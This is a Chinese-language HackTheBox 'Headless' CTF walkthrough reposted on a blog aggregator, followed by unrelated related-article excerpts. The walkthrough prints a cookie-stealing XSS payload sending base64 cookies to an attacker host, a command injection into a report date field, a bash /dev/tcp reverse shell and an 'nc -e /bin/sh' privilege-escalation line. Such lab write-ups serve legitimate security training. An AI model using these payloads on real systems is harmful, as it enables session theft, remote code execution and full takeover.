HackTheBox--Headless

news2024/12/27 15:09:50
Headless测试过程

1 信息收集

NMAP端口扫描

nmap -sSCV 10.10.11.8

在这里插入图片描述

5000端口测试

在这里插入图片描述

检查页面功能,请求 For questions 功能,跳转到 /support 目录

在这里插入图片描述

目录扫描

发现 /dashboard 目录
在这里插入图片描述

访问 /dashboard 目录,显示未认证,如果通过认证,/dashboard 目录下的功能点可能存在利用点,想办法获取 cookie
在这里插入图片描述


2 利用 XSS 获取 cookie

在这里插入图片描述

在HttpOnly不启用时,就可能通过 XSS 漏洞获取 cookie,/support 页面 可以进行用户输入,尝试利用此页面进行 XSS 攻击测试

# payload
<script>var i=new Image(); i.src="http://10.10.14.171:8081/?cookie="+btoa(document.cookie);</script>

在这里插入图片描述

本地服务器获取到返回的 cookie,base64 加密,进行解密

在这里插入图片描述

替换获取到的 cookie,刷新 http://10.10.11.8:5000/dashboard 页面

在这里插入图片描述

点击 Generate Report,抓包观察,既然可以通过日期进行查询,那可以测试是否可以拼接系统命令执行

在这里插入图片描述

拼接 ;id,执行成功
在这里插入图片描述

3 命令执行获取权限

执行命令方法 1

/bin/bash -c 'exec bash -i >& /dev/tcp/10.10.14.171/4444 0>&1'

对反弹 shell 命令进行 URL 编码
在这里插入图片描述

执行命令方法 2

在这里插入图片描述

本地需要开启 http.server 服务
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述


4 权限提升

# 检查当前用户拥有的权限
sudo -l

在这里插入图片描述

发现 /usr/bin/syscheck ,任何用户都可以无需密码执行,检查文件内容,initdb.sh 文件正在运行,那把命令写入 initdb.sh 文件,使用 sudo 执行即可获取 root 权限

在这里插入图片描述

echo  "nc -e /bin/sh 10.10.14.147 4445" > initdb.sh 
chmod +x initdb.sh
sudo /usr/bin/syscheck

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1905757.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Postgresql - 用户权限数据库

1、综述 在实际的软件项目开发过程中&#xff0c;用户权限控制可以说是所有运营系统中必不可少的一个重点功能&#xff0c;根据业务的复杂度&#xff0c;设计的时候可深可浅&#xff0c;但无论怎么变化&#xff0c;设计的思路基本都是围绕着用户、部门、角色、菜单这几个部分展…

C语言 | Leetcode C语言题解之第222题完全二叉树的节点个数

题目&#xff1a; 题解&#xff1a; bool exists(struct TreeNode* root, int level, int k) {int bits 1 << (level - 1);struct TreeNode* node root;while (node ! NULL && bits > 0) {if (!(bits & k)) {node node->left;} else {node node-&…

音频处理5_时频谱1

介绍 时频谱&#xff0c;mel谱&#xff0c; MFCC 1. 概念 magnitude&#xff08;幅值&#xff09;& amplitude&#xff08;振幅)&#xff1a; 振幅指时域信号的瞬时强度或波的高度&#xff0c;它表示信号的最大偏离平均值的程度。 对于一个正弦波信号&#xff0c;振幅是从…

根据RTL图编写Verilog程序

目录 描述 输入描述&#xff1a; 输出描述&#xff1a; 参考代码 描述 根据以下RTL图&#xff0c;使用 Verilog HDL语言编写代码&#xff0c;实现相同的功能&#xff0c;并编写testbench验证功能。 输入描述&#xff1a; clk&#xff1a;系统时钟信号 rst_n&#xff1a;…

第11章 规划过程组(二)(11.9估算活动持续时间)

第11章 规划过程组&#xff08;二&#xff09;11.9估算活动持续时间&#xff0c;在第三版教材第393~395页&#xff1b;文字图片音频方式 第一个知识点&#xff1a;主要工具与技术 1、类比估算 是一种使用相似活动或项目的历史数据&#xff0c;来估算当前活动或项目的持续时间或…

【运维】Windows server 2022 开启 telnet 功能

控制面板》启动或关闭Windows 功能 仪表盘》添加角色和功能》功能》telnet客户端

使用Python+OpenCV实现姿态估计--20240705

姿态估计使用Opencv+Mediapipe来时实现 什么是Mediapipe? Mediapipe是主要用于构建多模式音频,视频或任何时间序列数据的框架。借助MediaPipe框架,可以构建令人印象深刻的ML管道,例如TensorFlow,TFLite等推理模型以及媒体处理功能。 安装命令: pip install mediapipe如果…

回顾 DTC 2024 大会——聚焦数据技术创新:揭秘下一代纯实时搜索引擎 INFINI Pizza

2024 年 4 月 12 日至 13 日&#xff0c;备受瞩目的第十三届“数据技术嘉年华”&#xff08;DTC2024&#xff09;在北京新云南皇冠假日酒店盛大开幕。本次大会由中国 DBA 联盟&#xff08;ACDU&#xff09;与墨天轮社区联合主办&#xff0c;以“智能云原生一体化——DB 与 AI 协…

通过IDEA生成webapp及web.xml配置文件

1、选择File->Project Structure 2、选择Modules-> + -> Web 有的springboot工程选择是war工程,这个web可能已经存在了。 如果不存在,就手动创建,创建后,需要修改pom.xml中的配置 <packaging>war</packaging> 3、创建webapp根目录 这步重点就是创建…

Camera Raw:编辑 - 配置文件

Camera Raw “编辑”模块中的配置文件 Profile面板为照片编辑提供了一个坚实的基础&#xff0c;能够显著改善照片的初始外观&#xff0c;使编辑过程更加高效和灵活。 使用配置文件&#xff0c;可以控制如何呈现照片中的颜色和色调。配置文件旨在作为照片编辑的起点和基础。 ◆ …

在BI软件上使用SQL查询其实很简单

如何在BI软件上使用SQL查询&#xff1f; 我理解在BI上使用SQL是对原始数据进行查询、筛选、清洗&#xff0c;这一点主流BI工具像power BI&#xff0c;tableau、superset都可以支持。 你只需要写好SQL代码&#xff0c;对数据里的相关表进行查询&#xff0c;就可以对查询后的新…

C++ | Leetcode C++题解之第221题最大正方形

题目&#xff1a; 题解&#xff1a; class Solution { public:int maximalSquare(vector<vector<char>>& matrix) {if (matrix.size() 0 || matrix[0].size() 0) {return 0;}int maxSide 0;int rows matrix.size(), columns matrix[0].size();vector<…

warning: GOPATH set to GOROOT (D:\go) has no effect

warning: GOPATH set to GOROOT (D:\go) has no effect gopath 设置一下&#xff0c;并且不要和 goroot 设置成同一个目录

学习笔记——动态路由——OSPF(特殊区域)

十、OSPF特殊区域 1、技术背景 早期路由器靠CPU计算转发&#xff0c;由于硬件技术限制问题&#xff0c;因此资源不是特别充足&#xff0c;因此是要节省资源使用&#xff0c;规划是非常必要的。 OSPF路由器需要同时维护域内路由、域间路由、外部路由信息数据库。当网络规模不…

Vue3中为Ant Design Vue中Modal.confirm自定义内容

在一次业务开发时代码时&#xff0c;碰到了一种既想要Modal.confirm样式&#xff0c;又想要定制其content内容的情况。 大部分情况下&#xff0c;使用Modal.method()这种方式时&#xff0c;可能content内容固定都是字符串&#xff0c;那如果想要做更高级的交互怎么办&#xff…

RTK_ROS_导航(1): GNSS里程计

目录 1. RTK 配置2. ROS驱动3. RTK融合IMU实现里程计4. 纯RTK的定位信息5. 即将实现导航&#xff0c;正在更新中&#xff0c;如果遇到问题&#xff0c;欢迎CSDN讨论... 1. RTK 配置 4G CORS 4G 网络 户外有信号&#xff0c;不能实现RTK&#xff0c;就恢复出厂设置输出报文信…

kafka底层原理性能优化详解:大案例解析(第29天)

系列文章目录 一、Kafka简介 二、Kafka架构设计 三、消息传递机制 四、实例说明&#xff08;案例解析&#xff09; 五、kafka性能优化(案例解析) 文章目录 系列文章目录前言一、Kafka简介二、Kafka架构设计1. Producer&#xff08;生产者&#xff09;&#xff1a;2. Broker&am…

Check if a fine-tuned OpenAI model was successfully deleted

题意&#xff1a;检查微调后的OpenAI模型是否已成功删除 问题背景&#xff1a; I am doing some work with the OpenAI API with Python. Im working with fine-tuning and I am working on deleting an existing model and starting over again. I want to be able to check …

Hive 高可用分布式部署详细步骤

目录 系统版本说明 hive安装包下载及解压 上传mysql-connector-java的jar包 配置环境变量 进入conf配置文件中&#xff0c;将文件重命名 在hadoop集群上创建文件夹 创建本地目录 修改hive-site.xml文件 同步到其他的节点服务器 修改node02中的配置 hive-site.xml 修改…

上海-LM科技(面经)

上海-LM科技 hr电话面 个人简介 个人信息的询问 是否知道芋道框架 技术面 算法题 14. 最长公共前缀&#xff08;写出来即可&#xff09; 聊一下Docker Docker核心概念总结Docker实战 聊一下AOP Spring AOP详解 聊一下JWT JWT 基础概念详解JWT 身份认证优缺点分析 Spring…